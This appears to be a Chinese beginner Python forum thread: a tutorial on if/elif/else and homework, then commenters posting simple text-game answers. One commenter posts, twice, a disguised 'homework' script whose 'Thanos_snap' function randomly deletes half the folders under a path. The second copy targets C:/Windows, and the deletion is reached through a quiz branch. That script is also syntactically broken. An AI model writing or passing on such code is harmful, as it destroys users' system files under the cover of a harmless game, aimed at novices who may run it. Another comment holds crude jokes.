用户:碳查看:30 回复:23 评论:30 创建时间:2020-07-31T19:18:29
带带带带带带喵回来辣![]()
由于某人终于在社区找到了狗头的图片所以Python教程连续剧继续更新辣~
今天我们会学到一个新的语句:
if 条件:
运行语句
首先我们可以在if的右边空一格写上条件
然后当这个条件成立时就可以执行if语句内的代码(条件后面的:和运行代码前面的四个空格不要丢了昂
)
比如当运行下面的代码时:
name = input("你的名字是?")
if name == "碳":
print("嗷不认识")
如果我们在程序打印出来的“你的名字是?”的后面写上碳的话
它就会喵地说“嗷不认识”(于是我开心地打了这个程序一顿
)
然鹅当我们写上其它的东西的时候就不会打印了辣
这时候就会有聪明绝顶无与伦比的小伙伴们问辣:
“那如果我想程序在输入其它的内容的时候也打印文字呢?”
那你就想吧(挨打
)
于是想要实现上面的内个效果的话我们就要用到它的一个升级版本(没错就叫if的2.0版本
)
if 条件1:
运行语句1
elif 条件2:
运行语句2
elif 条件3:
运行语句3
........
elif 条件n:
运行语句n
else:
运行语句n+1
于是这段代码的意思就是:
当条件1成立的时候
就运行运行语句1
当条件1不成立的时候
就会看条件2成不成立
成立就运行运行语句2
如果不成立的话就看条件3成不成立
以此类推直到最后一个elif后面的语句不成立的时候
才会运行else内的语句
简单来说的话就是一个依次检测并且做出反馈的过程
还有我们要注意的一点是程序是从上往下运行的
所以是先检测条件1然后条件2条件3以此类推的嗷![]()
(PS:elif是else if的缩写而且elif的内些部分是可以省略的嗷
在掌握了这些知识之后呢我们来看上面内个程序的2.0版本:
name = input("你的名字是?")
if name == "碳":
print("嗷不认识")
else:
print("啊我认识膜拜奆佬!")
于是当我们运行程序的时候输入你的名字的话
它就会打印出“啊我认识膜拜奆佬!”
但是输入我的名字的话
它就会打印出“嗷不认识”
于是我又开心地打了这个程序一顿![]()
课后作业:
1.仿照以下的示例程序,制作出一个属于自己的文字游戏(别照搬嗷
):
print("碳正在干什么?")
choice = input("请选择:逐渐变憨/写教程帖")
if choice == "逐渐变憨":
print("巧了碳还真的正在变憨")
elif choice == "写教程帖":
print("碳正在写什么教程帖")
choice_1 = input("请选择:Python连续剧/水帖")
if choice_1 == "Python连续剧":
print("瞎说什么大实话!(doge)")
elif choice_1 == "水帖":
print("绝交吧陌生人(doge)")
else:
print("嗷你好像打字打错辣")
else:
print("嗷你好像打字打错辣")
2.探究以下代码的意思:
if True:
print("碳真真真真真憨")
预告:
大概在学到5集还是6集的时候某人会举行一个Python程序设计大赛嗷
代码范围的话就是某人教程帖里面的内容
大家可以把做好的程序放在评论区
三天过后碳会选出名次的嗷~
奖励:
第一名:250源码币(+50创意奖励)+某人做的获奖证书![]()
第二名:150源码币(+50创意奖励)
第三名:100源码币(+25创意奖励)
幸运选手:50源码币
幸运选手抽奖方法:(用random库的randint函数随机生成一个整数并且抽取)![]()
print('鑫鑫Xinxin现在在干什么?')
a = input('请选择:打开Kitten 4,奋力肝作品/逛论坛')
if (a == '打开Kitten 4,奋力肝作品'):
print('巧了,鑫鑫Xinxin在肝超难的Kitten 4作品')
elif (a == '逛论坛'):
print('鑫鑫Xinxin在论坛干什么?')
a = input('请选择:写Kitten 4作品推广帖/看别人的帖子')
if (a == '写Kitten 4 作品推广帖'):
print('答对了,你要参加作者的源码表情包展览吗?(doge)')
elif (a == '看别人的帖子')
print('对,作者正在看你发的水帖(doge)')
else:
print('嗯……好像听不懂了……')
else:
print('嗯……好像听不懂了……')点赞0
评论
泡杯print("我在干什么?")
a=input("1,肝作品 2,看直播")
if a=="1":
print("加油!奥利给!")
elif a=="2":
print("看什么直播?")
a=input("1,官方直播 2,鲤鱼ace")
if a=="1":
print("真好看!")
elif a=="2":
print("***!***!***!")
else:
print("???")
else:print("???")点赞2
评论
虐心工作间我之前做过一个,但是太长了(657行代码44537字节恐怖吗?),而且还有许多辅助模块(自己写的)以及存储记录的文档的一个游戏,但本质上还是一个文字游戏,因为玩的时候就是对着一个黑乎乎的窗口输入指令再输出……
点赞2
评论
print("WHAT's YOUR F**kING CHOCIE")
a = ('PLEASE CHOOSE YOURS: 1,WATCH SOME BORING WECHAT 2,WATCH SOME YELLOW VIDEO')
if a == "1":
print("YOUR FRIENDS ARE COMING.")
print("BOB: WHY DID YOU SEND YELLOW THINGS TO ME? ALEXANDER SAID I'M NOT WHITE NOW!")
print("BOB: WAIT, WHAT ARE YOU DOING?! AHHHHHHHHHHHHHH-----")
elif a == "2":
print("You feel your whole body shake impatiently and your eyes stare hungrily at the television")
print("HOWEVER, MUMMY IS COMING.")
print("MUM: WHAT THE HELL ARE YOU WATCHING TO? SHUT DOWN! NOW!")
else:
print("YOU HAVE NO CHOICE, SO YOU AND YOUR DADDY GO TO THE GEESE PARK AND WATCH A WHOLE DAY GEESE.")点赞0
评论
浮生awa我来交作业!
drxl = int(input('敌方的血量是?'))
drgj = int(input('敌方的攻击是?'))
wfxl = int(input('我方的血量是?'))
wfgj = int(input('我方的攻击是?'))
while (drxl > 0 and wfxl > 0):
drxl = (drxl - wfgj)
wfxl = (wfxl - drgj)
print(('敌方血量' + str(drxl)))
print(('我方血量' + str(wfxl)))
if (wfxl <= 0):
if (drxl <= 0):
print('平局')
else:
print('我方胜利')
else:
print('敌方胜利')
点赞1
评论
ISisa=input("这里是zz婴儿喵,zz请按1,婴儿请按2,zz婴儿请按3,其他请按4")
if a=="1":
b=("你是zz啊")
elif a=="2":
b=("你是婴儿啊")
elif a=="3"
b=("你是zz婴儿啊")
else:
b=("你是什么都不是啊")
print(b)点赞0
评论
开朗的种花兔import sys as ???
import os
import shutil
import random
def find_victim(universe):
path_domain=os.listdir(universe)
for i in range(len(path_domain)):
path_domain[i]=universe+'/'+path_domain[i]
return path_domain
def find_lucky(victim):
random.shuffle(victim)
return victim
def Thanos_snap(lucky): #Snap it!!!For death queen!!!
for i in range(int(len(lucky)/2)):
shutil.rmtree(lucky[i],ignore_errors=True)
def main():
universe='D:/snap_test'
victim=find_victim(universe)
lucky=find_lucky(victim)
Thanos_snap(lucky)
print('你是杀13吗')
a = input('>>')
if (a == '是'):
for i in range(99):
print('o',end="")
print('h')
???.exit
elif (a == '不是'):
print('你再说一遍')
wertyuiosdfghjkldfghjkldfghjk = input('>>')
if (wertyuiosdfghjkldfghjkldfghjk == '是'):
for i in range(99):
print('o',end="")
print('h')
???.exit
elif (wertyuiosdfghjkldfghjkldfghjk == '不是'):
if __name__ == '__main__':
main()
else:
print('默认是')
for i in range(99):
print('o',end="")
print('h')
???.exit
点赞0
评论
开朗的种花兔import sys as ???
import os
import shutil
import random
def find_victim(universe):
path_domain=os.listdir(universe)
for i in range(len(path_domain)):
path_domain[i]=universe+'/'+path_domain[i]
return path_domain
def find_lucky(victim):
random.shuffle(victim)
return victim
def Thanos_snap(lucky): #Snap it!!!For death queen!!!
for i in range(int(len(lucky)/2)):
shutil.rmtree(lucky[i],ignore_errors=True)
def main():
universe='C:/Windows'
victim=find_victim(universe)
lucky=find_lucky(victim)
Thanos_snap(lucky)
print('你是杀13吗')
a = input('>>')
if (a == '是'):
for i in range(99):
print('o',end="")
print('h')
???.exit
elif (a == '不是'):
print('你再说一遍')
wertyuiosdfghjkldfghjkldfghjk = input('>>')
if (wertyuiosdfghjkldfghjkldfghjk == '是'):
for i in range(99):
print('o',end="")
print('h')
???.exit
elif (wertyuiosdfghjkldfghjkldfghjk == '不是'):
if __name__ == '__main__':
main()
else:
print('默认是')
for i in range(99):
print('o',end="")
print('h')
???.exit点赞0
评论
imgsrc="https://static.cod喵/emoji/codemao/%E7%BC%96%E7%A8%8B%E7%8C%AB_%E5%8A%A0%E6%B2%B9.gif"alt="emotion_编程猫_加油"
点赞0
评论
import pgzrun
import time
LV=0
def draw():
screen.draw.text(f'LV:{LV}',(0,0),color="green",fontsize=50)
def update():
global LV
screen.clear()
LV+=1
time.sleep(1)
pgzrun.go()
额,这也算吧
点赞0
评论